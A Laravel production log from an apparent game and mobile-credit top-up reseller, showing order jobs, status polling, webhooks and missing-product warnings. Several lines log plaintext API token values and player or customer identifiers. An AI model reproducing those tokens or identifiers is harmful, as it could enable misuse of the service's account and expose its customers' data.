#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#37 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#38 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#39 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#40 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#41 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#42 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#43 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#44 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#45 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#46 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#47 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#48 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#49 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#50 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#51 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#52 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#53 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#54 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#55 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#56 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#57 {main}
"} 
[2026-03-24 10:55:00] production.INFO: Executing GetProducts task...  
[2026-03-24 10:55:00] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 10:55:00] production.INFO: Executing GetProducts task...  
[2026-03-24 10:55:02] production.INFO: async() رجع: true  
[2026-03-24 10:55:02] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 10:55:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 10:55:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 10:55:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 10:55:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 10:55:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 10:55:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 10:55:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 10:55:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 10:55:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 10:55:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 10:56:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"sAf0oTKEiQgMrBNgutJuCSrKxT3wUKo5","execution_time":"2026-03-24 10:56:01"} 
[2026-03-24 10:56:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"sAf0oTKEiQgMrBNgutJuCSrKxT3wUKo5","execution_time":"2026-03-24 10:56:01","total_operations":1,"sites_count":1} 
[2026-03-24 10:56:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"sAf0oTKEiQgMrBNgutJuCSrKxT3wUKo5","execution_time":"2026-03-24 10:56:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:56:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"sAf0oTKEiQgMrBNgutJuCSrKxT3wUKo5","execution_time":"2026-03-24 10:56:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:56:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"sAf0oTKEiQgMrBNgutJuCSrKxT3wUKo5","execution_time":"2026-03-24 10:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:56:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"sAf0oTKEiQgMrBNgutJuCSrKxT3wUKo5","execution_time":"2026-03-24 10:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:56:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"sAf0oTKEiQgMrBNgutJuCSrKxT3wUKo5","execution_time":"2026-03-24 10:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:56:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"sAf0oTKEiQgMrBNgutJuCSrKxT3wUKo5","execution_time":"2026-03-24 10:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:56:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"sAf0oTKEiQgMrBNgutJuCSrKxT3wUKo5","execution_time":"2026-03-24 10:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:58:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"U7t7lzXwlbxPYdaD5MdamBDGI8wgdaVy","execution_time":"2026-03-24 10:58:01"} 
[2026-03-24 10:58:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"U7t7lzXwlbxPYdaD5MdamBDGI8wgdaVy","execution_time":"2026-03-24 10:58:01","total_operations":1,"sites_count":1} 
[2026-03-24 10:58:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"U7t7lzXwlbxPYdaD5MdamBDGI8wgdaVy","execution_time":"2026-03-24 10:58:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:58:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"U7t7lzXwlbxPYdaD5MdamBDGI8wgdaVy","execution_time":"2026-03-24 10:58:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:58:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"U7t7lzXwlbxPYdaD5MdamBDGI8wgdaVy","execution_time":"2026-03-24 10:58:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:58:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"U7t7lzXwlbxPYdaD5MdamBDGI8wgdaVy","execution_time":"2026-03-24 10:58:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:58:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"U7t7lzXwlbxPYdaD5MdamBDGI8wgdaVy","execution_time":"2026-03-24 10:58:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:58:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"U7t7lzXwlbxPYdaD5MdamBDGI8wgdaVy","execution_time":"2026-03-24 10:58:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:58:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"U7t7lzXwlbxPYdaD5MdamBDGI8wgdaVy","execution_time":"2026-03-24 10:58:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:58:10] production.INFO: Constructing job for order: 178561  
[2026-03-24 10:58:13] production.INFO: Handling job for order: 178561  
[2026-03-24 10:58:13] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 10:58:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:58:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=30e51b80-44e1-4053-8781-ea64276d266a&Player_ID=14841494773  
[2026-03-24 10:58:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=30e51b80-44e1-4053-8781-ea64276d266a&Player_ID=14841494773","has_body":false} 
[2026-03-24 10:58:14] production.INFO: Operation sent successfully {"operation_id":163492,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-9Vnn-1774339094","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 10:58:14"}},"processed_data":{"order_number":"ORD-9Vnn-1774339094","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 10:58:23] production.INFO: Constructing job for order: 178562  
[2026-03-24 10:58:26] production.INFO: Handling job for order: 178562  
[2026-03-24 10:58:26] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 10:58:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:58:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=a70fbc1e-f3aa-4dca-bb40-60085c94b9c0&Player_ID=51263384689  
[2026-03-24 10:58:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=a70fbc1e-f3aa-4dca-bb40-60085c94b9c0&Player_ID=51263384689","has_body":false} 
[2026-03-24 10:58:27] production.INFO: Operation sent successfully {"operation_id":163493,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-aGt5K-1774339107","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 10:58:27"}},"processed_data":{"order_number":"ORD-aGt5K-1774339107","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 10:58:36] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-aGt5K-1774339107","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 10:58:36] production.INFO: Processed webhook data (normalized) {"id":"ORD-aGt5K-1774339107","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 10:58:36] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 10:58:36] production.INFO: SendAcceptReject: Notification queued {"user_id":354,"notification_type":"order_approved","reference_id":178562} 
[2026-03-24 10:58:36] production.INFO: Order updated successfully. Order ID: 178562, Status: completed  
[2026-03-24 10:58:36] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-aGt5K-1774339107","status":"completed","codes_count":0} 
[2026-03-24 10:58:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 354  
[2026-03-24 10:58:50] production.INFO: Constructing job for order: 178563  
[2026-03-24 10:58:51] production.INFO: Handling job for order: 178563  
[2026-03-24 10:58:51] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 10:58:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:58:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=7fb980bb-4d7b-4cb2-b2e3-8673ecf5431d&Player_ID=14841494773  
[2026-03-24 10:58:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=7fb980bb-4d7b-4cb2-b2e3-8673ecf5431d&Player_ID=14841494773","has_body":false} 
[2026-03-24 10:58:52] production.INFO: Operation sent successfully {"operation_id":163494,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-cc5-1774339131","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 10:58:52"}},"processed_data":{"order_number":"ORD-cc5-1774339131","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 10:59:15] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-cc5-1774339131","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 10:59:15] production.INFO: Processed webhook data (normalized) {"id":"ORD-cc5-1774339131","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 10:59:15] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 10:59:15] production.INFO: SendAcceptReject: Notification queued {"user_id":366,"notification_type":"order_approved","reference_id":178563} 
[2026-03-24 10:59:15] production.INFO: Order updated successfully. Order ID: 178563, Status: completed  
[2026-03-24 10:59:15] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-cc5-1774339131","status":"completed","codes_count":0} 
[2026-03-24 10:59:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 10:59:59] production.INFO: Constructing job for order: 178564  
[2026-03-24 11:00:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"is1DISVkmCrjnzrgZcvnRB0dPx4pUdyI","execution_time":"2026-03-24 11:00:01"} 
[2026-03-24 11:00:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"is1DISVkmCrjnzrgZcvnRB0dPx4pUdyI","execution_time":"2026-03-24 11:00:01","total_operations":2,"sites_count":1} 
[2026-03-24 11:00:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"is1DISVkmCrjnzrgZcvnRB0dPx4pUdyI","execution_time":"2026-03-24 11:00:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:00:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"is1DISVkmCrjnzrgZcvnRB0dPx4pUdyI","execution_time":"2026-03-24 11:00:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:00:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"is1DISVkmCrjnzrgZcvnRB0dPx4pUdyI","execution_time":"2026-03-24 11:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:00:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"is1DISVkmCrjnzrgZcvnRB0dPx4pUdyI","execution_time":"2026-03-24 11:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:00:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"is1DISVkmCrjnzrgZcvnRB0dPx4pUdyI","execution_time":"2026-03-24 11:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:00:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"is1DISVkmCrjnzrgZcvnRB0dPx4pUdyI","execution_time":"2026-03-24 11:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:00:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"is1DISVkmCrjnzrgZcvnRB0dPx4pUdyI","execution_time":"2026-03-24 11:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:00:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"is1DISVkmCrjnzrgZcvnRB0dPx4pUdyI","execution_time":"2026-03-24 11:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:00:01] production.INFO: Executing GetProducts task...  
[2026-03-24 11:00:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 11:00:01] production.INFO: Executing GetProducts task...  
[2026-03-24 11:00:03] production.INFO: async() رجع: true  
[2026-03-24 11:00:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 11:00:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 11:00:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 11:00:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 11:00:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 11:00:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 11:00:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 11:00:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 11:00:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 11:00:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 11:00:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 11:00:04] production.INFO: Handling job for order: 178564  
[2026-03-24 11:00:04] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 11:00:04] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:00:04] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=75df49d9-7b4d-48b2-8ca6-027de5d4fff2&Player_ID=0942205626  
[2026-03-24 11:00:04] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=75df49d9-7b4d-48b2-8ca6-027de5d4fff2&Player_ID=0942205626","has_body":false} 
[2026-03-24 11:00:05] production.INFO: Operation sent successfully {"operation_id":163495,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-YuG8gUS0-1774339205","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 11:00:05"}},"processed_data":{"order_number":"ORD-YuG8gUS0-1774339205","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 11:02:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02"} 
[2026-03-24 11:02:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","total_operations":3,"sites_count":2} 
[2026-03-24 11:02:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:02:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:02:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:02:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:02:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:02:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:02:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:02:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1,"order_ids":["ORD-YuG8gUS0-1774339205"]} 
[2026-03-24 11:02:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:02:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1} 
[2026-03-24 11:02:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YuG8gUS0-1774339205","operation_id":163495,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 11:02:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YuG8gUS0-1774339205","operation_id":163495,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 11:02:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YuG8gUS0-1774339205","operation_id":163495,"count":1} 
[2026-03-24 11:02:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"Rh89tRFVS1Dk3fXnARXgBI2OAY2hH38B","execution_time":"2026-03-24 11:02:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YuG8gUS0-1774339205","operation_id":163495,"count":1} 
